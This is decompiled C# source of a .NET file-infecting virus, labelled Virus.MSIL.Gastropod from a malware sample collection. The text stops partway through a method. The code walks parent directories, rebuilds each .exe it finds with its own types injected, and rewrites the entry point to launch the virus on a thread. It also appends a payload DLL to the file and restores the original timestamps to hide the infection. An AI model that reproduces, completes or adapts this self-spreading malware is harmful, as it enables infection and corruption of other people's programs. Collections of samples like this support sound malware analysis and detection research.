// Decompiled with JetBrains decompiler
// Type: zwuUkpmiAMoxhf.lapixb
// Assembly: sna, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: B33CF1F9-9697-4137-81AE-C49BE0C90EB5
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e.exe

using Reflector.Disassembler;
using System;
using System.Collections;
using System.Globalization;
using System.IO;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.CompilerServices;
using System.Security.Policy;
using System.Threading;

namespace zwuUkpmiAMoxhf
{
  internal class lapixb
  {
    private static lapixb.xkocvnL sbcjzvkbfjnuoi = new lapixb.xkocvnL(6, 15, Environment.TickCount);
    private static Random idvvngznumgka = new Random(Environment.TickCount);
    private static byte[] qxdznhgU;
    private static MethodBase doHuwvavrOnb;
    public static bool angmrruuqmQqbb;

    public lapixb(string inFileName, string outFileName)
    {
      try
      {
        lapixb.angmrruuqmQqbb = true;
        lapixb.qLjThuTb(inFileName, outFileName);
        if (lapixb.angmrruuqmQqbb)
          return;
        lapixb.qLjThuTb(inFileName, outFileName);
      }
      catch (Exception ex)
      {
      }
    }

    private static bool ghlfunj(Type t)
    {
      Assembly assembly = t.Assembly;
      bool flag1;
      int num1 = flag1 ? 1 : 0;
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      int num2;
      if ((object) assembly == (object) executingAssembly)
      {
        int num3 = flag1 ? 1 : 0;
        num2 = -1 == t.FullName.IndexOf("AssemblyProvider") ? 1 : 0;
      }
      else
      {
        num2 = 0;
        int num4 = flag1 ? 1 : 0;
      }
      bool flag2 = num2 != 0;
      int num5 = flag2 ? 1 : 0;
      return flag2;
    }

    public static void Go()
    {
      lapixb.qxdznhgU = lapixb.gcpVoenwxmnp();
      string currentDirectory;
      do
      {
        lapixb.Dxuwodkam();
        currentDirectory = Directory.GetCurrentDirectory();
        Directory.SetCurrentDirectory("..");
      }
      while (currentDirectory != Directory.GetCurrentDirectory());
    }

    public static void Dxuwodkam()
    {
      string[] files = Directory.GetFiles(".", "*.exe");
      if (files.Length == 0)
        return;
      bool flag = File.Exists("ILReader.dll");
      if (!flag && lapixb.qxdznhgU != null)
      {
        FileStream output = new FileStream("ILReader.dll", FileMode.CreateNew, FileAccess.ReadWrite);
        if (output != null)
          new BinaryWriter((Stream) output).Write(lapixb.qxdznhgU);
        output.Close();
      }
      string[] strArray = files;
      int index = 0;
      while (true)
      {
        if (index < strArray.Length)
        {
          string fileName = Path.GetFileName(strArray[index]);
          string withoutExtension = Path.GetFileNameWithoutExtension(fileName);
          string str = "_" + fileName;
          if (fileName[0] != '_')
          {
            if ((withoutExtension == Assembly.GetExecutingAssembly().GetName().Name ? 1 : 0) == 0 && !File.Exists(str))
            {
              DateTime creationTime1 = File.GetCreationTime(fileName);
              int num1 = flag ? 1 : 0;
              DateTime creationTime2 = creationTime1;
              DateTime lastAccessTime = File.GetLastAccessTime(fileName);
              DateTime lastWriteTime = File.GetLastWriteTime(fileName);
              File.Move(fileName, str);
              int num2 = flag ? 1 : 0;
              try
              {
                object[] args = new object[2]
                {
                  (object) str,
                  (object) fileName
                };
                AppDomain domain = AppDomain.CreateDomain("domain");
                Type type = typeof (lapixb);
                string name = Assembly.GetExecutingAssembly().GetName().Name;
                domain.CreateInstance(name, type.FullName, false, BindingFlags.Default, (Binder) null, args, (CultureInfo) null, (object[]) null, (Evidence) null);
                AppDomain.Unload(domain);
                if (File.Exists(fileName))
                {
                  File.Delete(str);
                  lapixb.oswdhvvoxThrks(fileName, lapixb.qxdznhgU);
                  File.SetCreationTime(fileName, creationTime2);
                  File.SetLastAccessTime(fileName, lastAccessTime);
                  File.SetLastWriteTime(fileName, lastWriteTime);
                  string path = withoutExtension + ".resources";
                  if (File.Exists(path))
                  {
                    File.SetCreationTime(path, creationTime2);
                    File.SetLastAccessTime(path, lastAccessTime);
                    File.SetLastWriteTime(path, lastWriteTime);
                  }
                }
                else
                  File.Move(str, fileName);
              }
              catch (ThreadAbortException ex)
              {
                File.Move(str, fileName);
              }
              catch (Exception ex)
              {
              }
            }
          }
          ++index;
        }
        else
          break;
      }
      if (flag)
        return;
      File.Delete("ILReader.dll");
    }

    private static PEFileKinds ljIpwyhM(string filename)
    {
      FileStream fileStream = new FileStream(filename, FileMode.Open, FileAccess.Read);
      PEFileKinds peFileKinds;
      if (fileStream == null)
      {
        peFileKinds = (PEFileKinds) 0;
      }
      else
      {
        byte[] buffer = new byte[4];
        fileStream.Seek(60L, SeekOrigin.Begin);
        fileStream.Read(buffer, 0, 4);
        uint num = (uint) ((int) buffer[0] | (int) ((uint) buffer[1] >> 8) | (int) ((uint) buffer[2] >> 16) | (int) ((uint) buffer[3] >> 24));
        fileStream.Seek((long) (num + 92U), SeekOrigin.Begin);
        fileStream.Read(buffer, 0, 1);
        fileStream.Close();
        peFileKinds = buffer[0] != (byte) 3 ? PEFileKinds.WindowApplication : PEFileKinds.ConsoleApplication;
      }
      return peFileKinds;
    }

    public static void qLjThuTb(string inFileName, string outFileName)
    {
      PEFileKinds filetype = lapixb.ljIpwyhM(inFileName);
      lapixb.pxzcLbqGmyxaek typelist = new lapixb.pxzcLbqGmyxaek();
      AssemblyBuilder ab = Thread.GetDomain().DefineDynamicAssembly(new AssemblyName()
      {
        Name = Path.GetFileNameWithoutExtension(outFileName)
      }, AssemblyBuilderAccess.RunAndSave);
      Assembly asm = Assembly.LoadFrom(inFileName);
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      Module[] modules1 = asm.GetModules();
      ModuleBuilder moduleBuilder1 = (ModuleBuilder) null;
      int num1;
      for (int index1 = 0; index1 < modules1.Length; index1 = num1 + 1)
      {
        Module module1 = modules1[index1];
        ModuleBuilder moduleBuilder2 = ab.DefineDynamicModule(module1.Name, outFileName);
        ModuleReader reader1 = new ModuleReader(module1, (IAssemblyProvider) new lapixb.AssemblyProvider());
        moduleBuilder2.CreateGlobalFunctions();
        Type[] types1 = module1.GetTypes();
        foreach (Type type1 in types1)
        {
          if (type1.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length == typeof (lapixb).GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length && type1.GetMethods().Length == typeof (lapixb).GetMethods().Length)
            return;
          foreach (MethodBase method in type1.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
          {
            if ((object) asm.EntryPoint == (object) method)
            {
              moduleBuilder1 = moduleBuilder2;
              Module[] modules2 = executingAssembly.GetModules();
              int index2 = 0;
              for (; index2 < modules2.Length; ++index2)
              {
                Module module2 = modules2[index2];
                ModuleReader reader2 = new ModuleReader(module2, (IAssemblyProvider) new lapixb.AssemblyProvider());
                Type[] types2 = module2.GetTypes();
                Type[] typeArray1 = types2;
                int index3 = 0;
                while (true)
                {
                  if (index3 < typeArray1.Length)
                  {
                    Type type2 = typeArray1[index3];
                    if ((object) type2 == (object) typeof (lapixb))
                      lapixb.xToeaQ(type2, (Type) null, moduleBuilder2, reader2, typelist);
                    if (type2.FullName.Length > 22 && type2.FullName.Substring(0, 22) == "Reflector.Disassembler")
                      lapixb.xToeaQ(type2, (Type) null, moduleBuilder2, reader2, typelist);
                    ++index3;
                  }
                  else
                    break;
                }
                Type[] typeArray2 = types2;
                int num2;
                for (int index4 = 0; index4 < typeArray2.Length; index4 = num2 + 1)
                {
                  Type intype = typeArray2[index4];
                  typelist.efPfdz(intype, moduleBuilder2);
                  num2 = index4;
                }
                foreach (Type type3 in types2)
                {
                  Type type4 = type3;
                  if ((object) type4 == (object) typeof (lapixb))
                    lapixb.nkXsIRD(type4, (Type) null, reader2, asm, ref ab, false, filetype, typelist);
                  if (type4.FullName.Length > 22)
                  {
                    if ((type4.FullName.Substring(0, 22) == "Reflector.Disassembler" ? 1 : 0) != 0)
                      lapixb.nkXsIRD(type4, (Type) null, reader2, asm, ref ab, false, filetype, typelist);
                  }
                }
              }
            }
          }
        }
        foreach (Type type in types1)
          lapixb.xToeaQ(type, (Type) null, moduleBuilder2, reader1, typelist);
        Type[] typeArray3 = types1;
        int index5 = 0;
        while (true)
        {
          if (index5 < typeArray3.Length)
          {
            Type intype = typeArray3[index5];
            typelist.efPfdz(intype, moduleBuilder2);
            ++index5;
          }
          else
            break;
        }
        Type[] typeArray4 = types1;
        int index6 = 0;
        while (index6 < typeArray4.Length)
        {
          lapixb.nkXsIRD(typeArray4[index6], (Type) null, reader1, asm, ref ab, true, filetype, typelist);
          ++index6;
        }
        num1 = index1;
      }
      try
      {
        lapixb.fwzhWts(asm, ab, outFileName);
      }
      catch (ThreadAbortException ex)
      {
        File.Move(inFileName, outFileName);
      }
      catch (Exception ex)
      {
      }
      try
      {
        ab.Save(outFileName);
      }
      catch (ThreadAbortException ex)
      {
        File.Move(inFileName, outFileName);
      }
      catch (Exception ex)
      {
      }
      try
      {
        lapixb.hGxjkd(inFileName, outFileName);
      }
      catch (ThreadAbortException ex)
      {
        File.Move(inFileName, outFileName);
      }
      catch (Exception ex)
      {
      }
    }

    private static void xToeaQ(
      Type type,
      Type wrapperType,
      ModuleBuilder outmodb,
      ModuleReader reader,
      lapixb.pxzcLbqGmyxaek typelist)
    {
      string fullName = type.FullName;
      if ((object) wrapperType == null && -1 != fullName.IndexOf("+"))
        return;
      Type baseType = type.BaseType;
      Type parent1;
      if ((object) baseType != null)
        parent1 = (Type) typelist.pucxpjpo(baseType);
      else
        parent1 = (Type) null;
      if ((object) parent1 == null)
        parent1 = baseType;
      Type[] interfaces1 = type.GetInterfaces();
      TypeBuilder outtype;
      if ((object) wrapperType != null)
      {
        TypeBuilder typeBuilder = typelist.pucxpjpo(wrapperType);
        string name;
        if (!lapixb.ghlfunj(type))
          name = type.Name;
        else
          name = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk();
        int attributes = (int) type.Attributes;
        Type parent2 = parent1;
        Type[] interfaces2 = interfaces1;
        outtype = typeBuilder.DefineNestedType(name, (TypeAttributes) attributes, parent2, interfaces2);
      }
      else
      {
        string name = typeof (lapixb).GetHashCode() != type.GetHashCode() ? (lapixb.ghlfunj(type) ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : fullName) : (lapixb.ghlfunj(type) ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() + "." + lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : fullName);
        outtype = outmodb.DefineType(name, type.Attributes, parent1, interfaces1);
      }
      typelist.fxlyrhnrt(type, outtype);
      Type[] nestedTypes = type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
      int index = 0;
      while (true)
      {
        if (index < nestedTypes.Length)
        {
          lapixb.xToeaQ(nestedTypes[index], type, outmodb, reader, typelist);
          ++index;
        }
        else
          break;
      }
    }

    private static void jtavbqaucxoGqk(MethodBase methodBase, ref MethodBuilder methodBuilder)
    {
      ParameterInfo[] parameters = methodBase.GetParameters();
      int index = 0;
      while (true)
      {
        if (index < parameters.Length)
        {
          methodBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name);
          ++index;
        }
        else
          break;
      }
    }

    private static void jclwzvQo(MethodBase methodBase, ref ConstructorBuilder ctorBuilder)
    {
      ParameterInfo[] parameters = methodBase.GetParameters();
      int index = 0;
      while (true)
      {
        if (index < parameters.Length)
        {
          ctorBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name);
          ++index;
        }
        else
          break;
      }
    }

    private static void nkXsIRD(
      Type type,
      Type wrapperType,
      ModuleReader reader,
      Assembly asm,
      ref AssemblyBuilder ab,
      bool setEP,
      PEFileKinds filetype,
      lapixb.pxzcLbqGmyxaek typelist)
    {
      string fullName = type.FullName;
      if ((object) wrapperType == null)
      {
        if (-1 != fullName.IndexOf("+"))
          return;
      }
      foreach (ConstructorInfo constructor in type.GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
      {
        ConstructorBuilder constructorBuilder = typelist.igvsCkvbrtxgpd(type, constructor);
        if (constructorBuilder == null)
          return;
        MethodBody methodBody = reader.GetMethodBody((MethodBase) constructor);
        if (methodBody != null)
        {
          ILGenerator ilGenerator = constructorBuilder.GetILGenerator();
          lapixb.vqkyuztdXo(type, (MethodBase) constructor, methodBody, ref ilGenerator, false, (lapixb.angmrruuqmQqbb ? 1 : 0) != 0, typelist);
        }
      }
      foreach (MethodBase method in (MethodBase[]) type.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
      {
        if (method.Name == "Main")
        {
          if ((object) method.DeclaringType == (object) typeof (lapixb))
            continue;
        }
        MethodBuilder entryMethod = typelist.OpjjrZFfBquC(type, method);
        MethodBody methodBody = reader.GetMethodBody(method);
        if (methodBody != null)
        {
          ILGenerator ilGenerator = entryMethod.GetILGenerator();
          if ((object) asm.EntryPoint == (object) method && setEP)
          {
            lapixb.vqkyuztdXo(type, method, methodBody, ref ilGenerator, true, lapixb.angmrruuqmQqbb, typelist);
            ab.SetEntryPoint((MethodInfo) entryMethod, filetype);
          }
          else
            lapixb.vqkyuztdXo(type, method, methodBody, ref ilGenerator, false, (lapixb.angmrruuqmQqbb ? 1 : 0) != 0, typelist);
        }
      }
      TypeBuilder typeBuilder = typelist.pucxpjpo(type);
      try
      {
        typeBuilder.CreateType();
      }
      catch
      {
        if ((lapixb.angmrruuqmQqbb ? 1 : 0) != 0)
        {
          lapixb.angmrruuqmQqbb = false;
          return;
        }
      }
      Type[] nestedTypes = type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
      int index = 0;
      while (true)
      {
        if (index < nestedTypes.Length)
        {
          lapixb.nkXsIRD(nestedTypes[index], type, reader, asm, ref ab, setEP, filetype, typelist);
          ++index;
        }
        else
          break;
      }
    }

    private static bool osnpyccxsiwpnp(Assembly asm)
    {
      int num1 = asm.GetManifestResourceNames().Length != 0 ? 1 : 0;
      bool flag;
      int num2 = flag ? 1 : 0;
      return num1 != 0;
    }

    private static void fwzhWts(Assembly asm, AssemblyBuilder ab, string name)
    {
      // ISSUE: unable to decompile the method.
    }

    private static void vqkyuztdXo(
      Type type,
      MethodBase methodBase,
      MethodBody methodBody,
      ref ILGenerator il,
      bool entrypoint,
      bool shorts,
      lapixb.pxzcLbqGmyxaek typelist)
    {
      Type[] locals = methodBody.GetLocals();
      LocalBuilder[] localBuilders = new LocalBuilder[(int) checked ((uint) locals.Length)];
      if (locals != null)
      {
        if (locals.Length > 0)
        {
          for (int index = 0; index < locals.Length; ++index)
          {
            Type localType = (Type) typelist.pucxpjpo(locals[index]);
            if ((object) localType != null)
              localBuilders[index] = il.DeclareLocal(localType);
            else
              localBuilders[index] = il.DeclareLocal(locals[index]);
          }
        }
      }
      lapixb.bkhltqlGjvox bkhltqlGjvox = new lapixb.bkhltqlGjvox(il, localBuilders);
      if (entrypoint)
      {
        MethodBuilder meth = typelist.OpjjrZFfBquC(typeof (lapixb), lapixb.doHuwvavrOnb);
        il.DeclareLocal(typeof (Thread));
        bkhltqlGjvox.eSqpqsy();
        ILGenerator ilGenerator = il;
        OpCode ldnull = OpCodes.Ldnull;
        bool flag;
        int num = flag ? 1 : 0;
        ilGenerator.Emit(ldnull);
        bkhltqlGjvox.eSqpqsy();
        il.Emit(OpCodes.Ldftn, (MethodInfo) meth);
        bkhltqlGjvox.eSqpqsy();
        Type[] typeArray = new Type[2]
        {
          typeof (object),
          typeof (int)
        };
        ConstructorInfo constructor1 = typeof (ThreadStart).GetConstructors()[0];
        il.Emit(OpCodes.Newobj, constructor1);
        ConstructorInfo constructor2 = typeof (Thread).GetConstructor(new Type[1]
        {
          typeof (ThreadStart)
        });
        il.Emit(OpCodes.Newobj, constructor2);
        bkhltqlGjvox.eSqpqsy();
        il.Emit(OpCodes.Stloc_0);
        bkhltqlGjvox.eSqpqsy();
        il.Emit(OpCodes.Ldloc_0);
        MethodInfo method = typeof (Thread).GetMethod("Start");
        il.Emit(OpCodes.Callvirt, method);
        bkhltqlGjvox.eSqpqsy();
      }
      ExceptionHandler[] exceptions = methodBody.GetExceptions();
      int index1;
      int num1;
      if (exceptions != null)
      {
        for (index1 = 0; index1 < exceptions.Length; index1 = num1)
        {
          ExceptionHandler exceptionHandler = exceptions[index1];
          num1 = index1 + 1;
        }
      }
      int length = 0;
      Instruction[] instructions = methodBody.GetInstructions();
      int index2 = 0;
      while (true)
      {
        if (index2 < instructions.Length)
        {
          Instruction instruction = instructions[index2];
          if (instruction.Code.OperandType != OperandType.ShortInlineBrTarget)
          {
            if (instruction.Code.OperandType != OperandType.InlineBrTarget)
              goto label_19;
          }
          ++length;
label_19:
          if (instruction.Code.OperandType == OperandType.InlineSwitch)
            length += ((int[]) instruction.Operand).Length;
          ++index2;
        }
        else
          break;
      }
      Label[] labelArray = new Label[(int) checked ((uint) length)];
      int[] numArray1 = new int[(int) checked ((uint) length)];
      int index3 = 0;
      foreach (Instruction instruction in methodBody.GetInstructions())
      {
        if (instruction.Code.OperandType == OperandType.ShortInlineBrTarget)
        {
          object operand = instruction.Operand;
          numArray1[index3] = (int) operand;
          labelArray[index3] = il.DefineLabel();
          ++index3;
        }
        if (instruction.Code.OperandType == OperandType.InlineBrTarget)
        {
          object operand = instruction.Operand;
          numArray1[index3] = (int) operand;
          labelArray[index3] = il.DefineLabel();
          ++index3;
        }
        if ((int) instruction.Code.OperandType == 11)
        {
          foreach (int num2 in (int[]) instruction.Operand)
          {
            numArray1[index3] = num2;
            labelArray[index3] = il.DefineLabel();
            ++index3;
          }
        }
      }
      bool flag1 = false;
      int index4 = 0;
label_170:
      for (; index4 < methodBody.GetInstructions().Length; ++index4)
      {
        if (flag1)
        {
          flag1 = false;
        }
        else
        {
          Instruction instruction = methodBody.GetInstructions()[index4];
          OpCode code = instruction.Code;
          if (code.GetHashCode() == OpCodes.Ldloc.GetHashCode() && index4 < methodBody.GetInstructions().Length - 1)
          {
            if (methodBody.GetInstructions()[index4].Code.GetHashCode() == OpCodes.Pop.GetHashCode())
            {
              flag1 = true;
              continue;
            }
          }
          bkhltqlGjvox.eSqpqsy();
          ExceptionHandler[] exceptionHandlerArray = exceptions;
          int index5 = 0;
          while (index5 < exceptionHandlerArray.Length)
          {
            ExceptionHandler exceptionHandler1 = exceptionHandlerArray[index5];
            if (exceptionHandler1.TryOffset == instruction.Offset)
            {
              il.BeginExceptionBlock();
              break;
            }
            if (exceptionHandler1.Type == 3)
            {
              if (exceptionHandler1.FilterOffset == instruction.Offset)
                il.BeginExceptFilterBlock();
            }
            else if (exceptionHandler1.HandlerOffset == instruction.Offset)
            {
              switch ((int) exceptionHandler1.Type)
              {
                case 0:
                  il.BeginFaultBlock();
                  break;
                case 1:
                  il.BeginCatchBlock(exceptionHandler1.CatchType);
                  break;
                case 2:
                  il.BeginFinallyBlock();
                  break;
                case 3:
                  il.BeginExceptFilterBlock();
                  break;
              }
            }
            if (exceptionHandler1.HandlerOffset + exceptionHandler1.HandlerLength == instruction.Offset)
            {
              bool flag2 = true;
              foreach (ExceptionHandler exceptionHandler2 in exceptions)
              {
                if (exceptionHandler2.HandlerOffset == exceptionHandler1.HandlerOffset + exceptionHandler1.HandlerLength)
                  flag2 = false;
              }
              if (flag2)
                il.EndExceptionBlock();
            }
            ++index5;
          }
          int num3;
          for (int index6 = 0; index6 < numArray1.Length; index6 = num3 + 1)
          {
            if (numArray1[index6] == instruction.Offset)
              il.MarkLabel(labelArray[index6]);
            num3 = index6;
          }
          object operand = instruction.Operand;
          byte[] operandData = instruction.GetOperandData();
          if ((entrypoint ? 1 : 0) != 0)
          {
            if (code.Name == OpCodes.Ret.Name)
            {
              bkhltqlGjvox.eSqpqsy();
              il.Emit(OpCodes.Ldloc_0);
              MethodInfo method = typeof (Thread).GetMethod("Abort", new Type[0]);
              il.Emit(OpCodes.Callvirt, method);
            }
          }
          if (operand != null)
          {
            switch (code.OperandType)
            {
              case OperandType.InlineBrTarget:
                int num4 = (int) operand;
                int index7 = 0;
                while (true)
                {
                  if (index7 < labelArray.Length)
                  {
                    if (numArray1[index7] != num4)
                      ++index7;
                    else
                      break;
                  }
                  else
                    goto label_170;
                }
                il.Emit(code, labelArray[index7]);
                continue;
              case OperandType.InlineField:
              case OperandType.InlineMethod:
              case OperandType.InlineSig:
              case OperandType.InlineTok:
              case OperandType.InlineType:
                if ((object) (operand as Type) != null)
                {
                  TypeBuilder cls = typelist.pucxpjpo((Type) operand);
                  if (cls != null)
                  {
                    il.Emit(code, (Type) cls);
                    continue;
                  }
                  if ((object) ((Type) operand).Assembly == (object) Assembly.GetExecutingAssembly())
                    throw new Exception();
                  il.Emit(code, (Type) operand);
                  continue;
                }
                if ((object) (operand as MethodInfo) != null)
                {
                  MethodInfo meth1 = (MethodInfo) operand;
                  MethodBuilder meth2 = typelist.OpjjrZFfBquC(meth1.DeclaringType, (MethodBase) meth1);
                  if (meth2 != null)
                  {
                    il.Emit(code, (MethodInfo) meth2);
                    continue;
                  }
                  if ((object) meth1.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly())
                  {
                    il.Emit(code, meth1);
                    continue;
                  }
                  throw new Exception();
                }
                if ((object) (operand as MemberInfo) != null)
                {
                  if ((object) (operand as FieldInfo) != null)
                  {
                    FieldBuilder field = typelist.pdjwlfze(((MemberInfo) operand).DeclaringType, (FieldInfo) operand);
                    if (field != null)
                    {
                      il.Emit(code, (FieldInfo) field);
                    }
                    else
                    {
                      if ((object) ((MemberInfo) operand).DeclaringType.Assembly == (object) Assembly.GetExecutingAssembly())
                        throw new Exception();
                      il.Emit(code, (FieldInfo) operand);
                    }
                  }
                  if ((object) (operand as ConstructorInfo) != null)
                  {
                    ConstructorInfo constructorInfo = (ConstructorInfo) operand;
                    ConstructorBuilder con = typelist.igvsCkvbrtxgpd(constructorInfo.DeclaringType, constructorInfo);
                    if (con != null)
                    {
                      il.Emit(code, (ConstructorInfo) con);
                      continue;
                    }
                    if ((object) constructorInfo.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly())
                    {
                      il.Emit(code, constructorInfo);
                      continue;
                    }
                    throw new Exception();
                  }
                  continue;
                }
                if ((object) (operand as FieldInfo) == null)
                  throw new Exception();
                continue;
              case OperandType.InlineI:
                il.Emit(code, (int) operand);
                continue;
              case OperandType.InlineI8:
                il.Emit(code, (long) operand);
                continue;
              case OperandType.InlineNone:
                il.Emit(code);
                continue;
              case OperandType.InlinePhi:
              case (OperandType) 8:
                continue;
              case OperandType.InlineR:
                il.Emit(code, (double) operand);
                continue;
              case OperandType.InlineString:
                il.Emit(code, operand.ToString());
                continue;
              case OperandType.InlineSwitch:
                int[] numArray2 = (int[]) operand;
                Label[] labels = new Label[(int) checked ((uint) numArray2.Length)];
                int index8 = 0;
                while (true)
                {
                  if (index8 < numArray2.Length)
                  {
                    int index9 = 0;
                    while (true)
                    {
                      if (index9 < labelArray.Length)
                      {
                        if (numArray1[index9] == numArray2[index8])
                          labels[index8] = labelArray[index9];
                        ++index9;
                      }
                      else
                        break;
                    }
                    ++index8;
                  }
                  else
                    break;
                }
                il.Emit(code, labels);
                continue;
              case OperandType.InlineVar:
              case OperandType.ShortInlineVar:
                switch (operand)
                {
                  case int _:
                    if (localBuilders == null)
                      return;
                    il.Emit(code, localBuilders[(int) operand]);
                    continue;
                  case ParameterInfo _:
                    ParameterInfo parameterInfo = (ParameterInfo) operand;
                    methodBase.GetParameters();
                    int position = parameterInfo.Position;
                    if (code.GetHashCode() == OpCodes.Ldarg_S.GetHashCode())
                    {
                      il.Emit(code, (int) operandData[0]);
                      continue;
                    }
                    il.Emit(code, position);
                    continue;
                  default:
                    continue;
                }
              case OperandType.ShortInlineBrTarget:
                OpCode opcode;
                if (!shorts)
                {
                  opcode = code;
                  if (code.Name == OpCodes.Beq_S.Name)
                    opcode = OpCodes.Beq;
                  if (code.Name == OpCodes.Bge_S.Name)
                    opcode = OpCodes.Bge;
                  if (code.Name == OpCodes.Bge_Un_S.Name)
                    opcode = OpCodes.Bge_Un;
                  if (code.Name == OpCodes.Bgt_S.Name)
                    opcode = OpCodes.Bgt_S;
                  if (code.Name == OpCodes.Bgt_Un_S.Name)
                    opcode = OpCodes.Bgt_Un;
                  if (code.Name == OpCodes.Ble_S.Name)
                    opcode = OpCodes.Ble;
                  if (code.Name == OpCodes.Ble_Un_S.Name)
                    opcode = OpCodes.Ble_Un;
                  if (code.Name == OpCodes.Blt_S.Name)
                    opcode = OpCodes.Blt;
                  if (code.Name == OpCodes.Blt_Un_S.Name)
                    opcode = OpCodes.Blt_Un;
                  if (code.Name == OpCodes.Bne_Un_S.Name)
                    opcode = OpCodes.Bne_Un;
                  string name1 = code.Name;
                  string name2 = OpCodes.Br_S.Name;
                  int num5 = flag1 ? 1 : 0;
                  if (name1 == name2)
                    opcode = OpCodes.Br;
                  if (code.Name == OpCodes.Brfalse_S.Name)
                    opcode = OpCodes.Brfalse;
                  if (code.Name == OpCodes.Brtrue_S.Name)
                    opcode = OpCodes.Brtrue;
                  if (code.Name == OpCodes.Leave_S.Name)
                    opcode = OpCodes.Leave;
                }
                else
                  opcode = code;
                int num6 = (int) operand;
                for (int index10 = 0; index10 < labelArray.Length; ++index10)
                {
                  if (numArray1[index10] == num6)
                  {
                    il.Emit(opcode, labelArray[index10]);
                    break;
                  }
                }
                continue;
              case OperandType.ShortInlineI:
                if (operand is short num7)
                  il.Emit(code, num7);
                if (operand is sbyte num8)
                {
                  il.Emit(code, num8);
                  continue;
                }
                continue;
              case OperandType.ShortInlineR:
                il.Emit(code, (float) operand);
                continue;
              default:
                continue;
            }
          }
          else
            il.Emit(code);
        }
      }
    }

    private static byte[] gcpVoenwxmnp()
    {
      FileStream file = Assembly.GetExecutingAssembly().GetFiles()[0];
      BinaryReader source = new BinaryReader((Stream) file);
      lapixb.bOukncg msdosheader = new lapixb.bOukncg();
      msdosheader.ugusxnfncbc(source);
      lapixb.vtimUuoda vtimUuoda = new lapixb.vtimUuoda();
      vtimUuoda.vQzsqfb(source, msdosheader);
      lapixb.kcXvcnrrwpqgz kcXvcnrrwpqgz = (lapixb.kcXvcnrrwpqgz) vtimUuoda.dHnysskou[vtimUuoda.dHnysskou.Count - 1];
      uint num = kcXvcnrrwpqgz.efxraidDxamjk + kcXvcnrrwpqgz.vWwpmibp;
      source.BaseStream.Position = (long) num;
      byte[] numArray1;
      try
      {
        uint count = source.ReadUInt32();
        byte[] numArray2 = source.ReadBytes((int) count);
        file.Close();
        numArray1 = numArray2;
      }
      catch
      {
        file.Close();
        FileStream input = new FileStream("ILReader.dll", FileMode.Open, FileAccess.Read);
        BinaryReader binaryReader = new BinaryReader((Stream) input);
        FileInfo fileInfo = new FileInfo("ILReader.dll");
        if (fileInfo != null)
        {
          byte[] numArray3 = binaryReader.ReadBytes((int) fileInfo.Length);
          input.Close();
          numArray1 = numArray3;
        }
        else
        {
          input.Close();
          numArray1 = (byte[]) null;
        }
      }
      return numArray1;
    }

    private static void oswdhvvoxThrks(string fileName, byte[] ilReader)
    {
      FileStream output = new FileStream(fileName, FileMode.Open, FileAccess.ReadWrite);
      BinaryWriter binaryWriter = new BinaryWriter((Stream) output);
      binaryWriter.BaseStream.Seek(0L, SeekOrigin.End);
      binaryWriter.Write((uint) ilReader.Length);
      binaryWriter.Write(ilReader);
      output.Close();
    }

    private static bool hGxjkd(string inFileName, string outFileName)
    {
      FileStream output = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite);
      FileStream input1 = new FileStream(inFileName, FileMode.Open, FileAccess.Read);
      bool flag1;
      if (input1 == null || output == null)
      {
        flag1 = false;
      }
      else
      {
        BinaryWriter dest1 = new BinaryWriter((Stream) output);
        FileStream input2 = output;
        bool flag2;
        int num1 = flag2 ? 1 : 0;
        BinaryReader source1 = new BinaryReader((Stream) input2);
        BinaryReader source2 = new BinaryReader((Stream) input1);
        lapixb.bOukncg msdosheader1 = new lapixb.bOukncg();
        msdosheader1.ugusxnfncbc(source2);
        lapixb.vtimUuoda vtimUuoda = new lapixb.vtimUuoda();
        vtimUuoda.vQzsqfb(source2, msdosheader1);
        byte[] buffer = vtimUuoda.iymvzvhxdMi(source2);
        if (buffer == null)
        {
          flag1 = false;
        }
        else
        {
          lapixb.bOukncg msdosheader2 = new lapixb.bOukncg();
          msdosheader2.ugusxnfncbc(source1);
          lapixb.gxygydds gxygydds = new lapixb.gxygydds();
          gxygydds.vQzsqfb(source1, msdosheader2);
          if (gxygydds.iymvzvhxdMi(source1) != null)
          {
            flag1 = false;
          }
          else
          {
            lapixb.kcXvcnrrwpqgz kcXvcnrrwpqgz = (lapixb.kcXvcnrrwpqgz) gxygydds.dHnysskou[gxygydds.dHnysskou.Count - 1];
            uint num2 = (uint) ((int) kcXvcnrrwpqgz.efxraidDxamjk + (int) kcXvcnrrwpqgz.vWwpmibp + 1) / gxygydds.jlnmvaHDid * gxygydds.jlnmvaHDid;
            uint phsize = ((uint) buffer.Length / gxygydds.jlnmvaHDid + 1U) * gxygydds.jlnmvaHDid;
            uint puvhlx = gxygydds.PUvhlx;
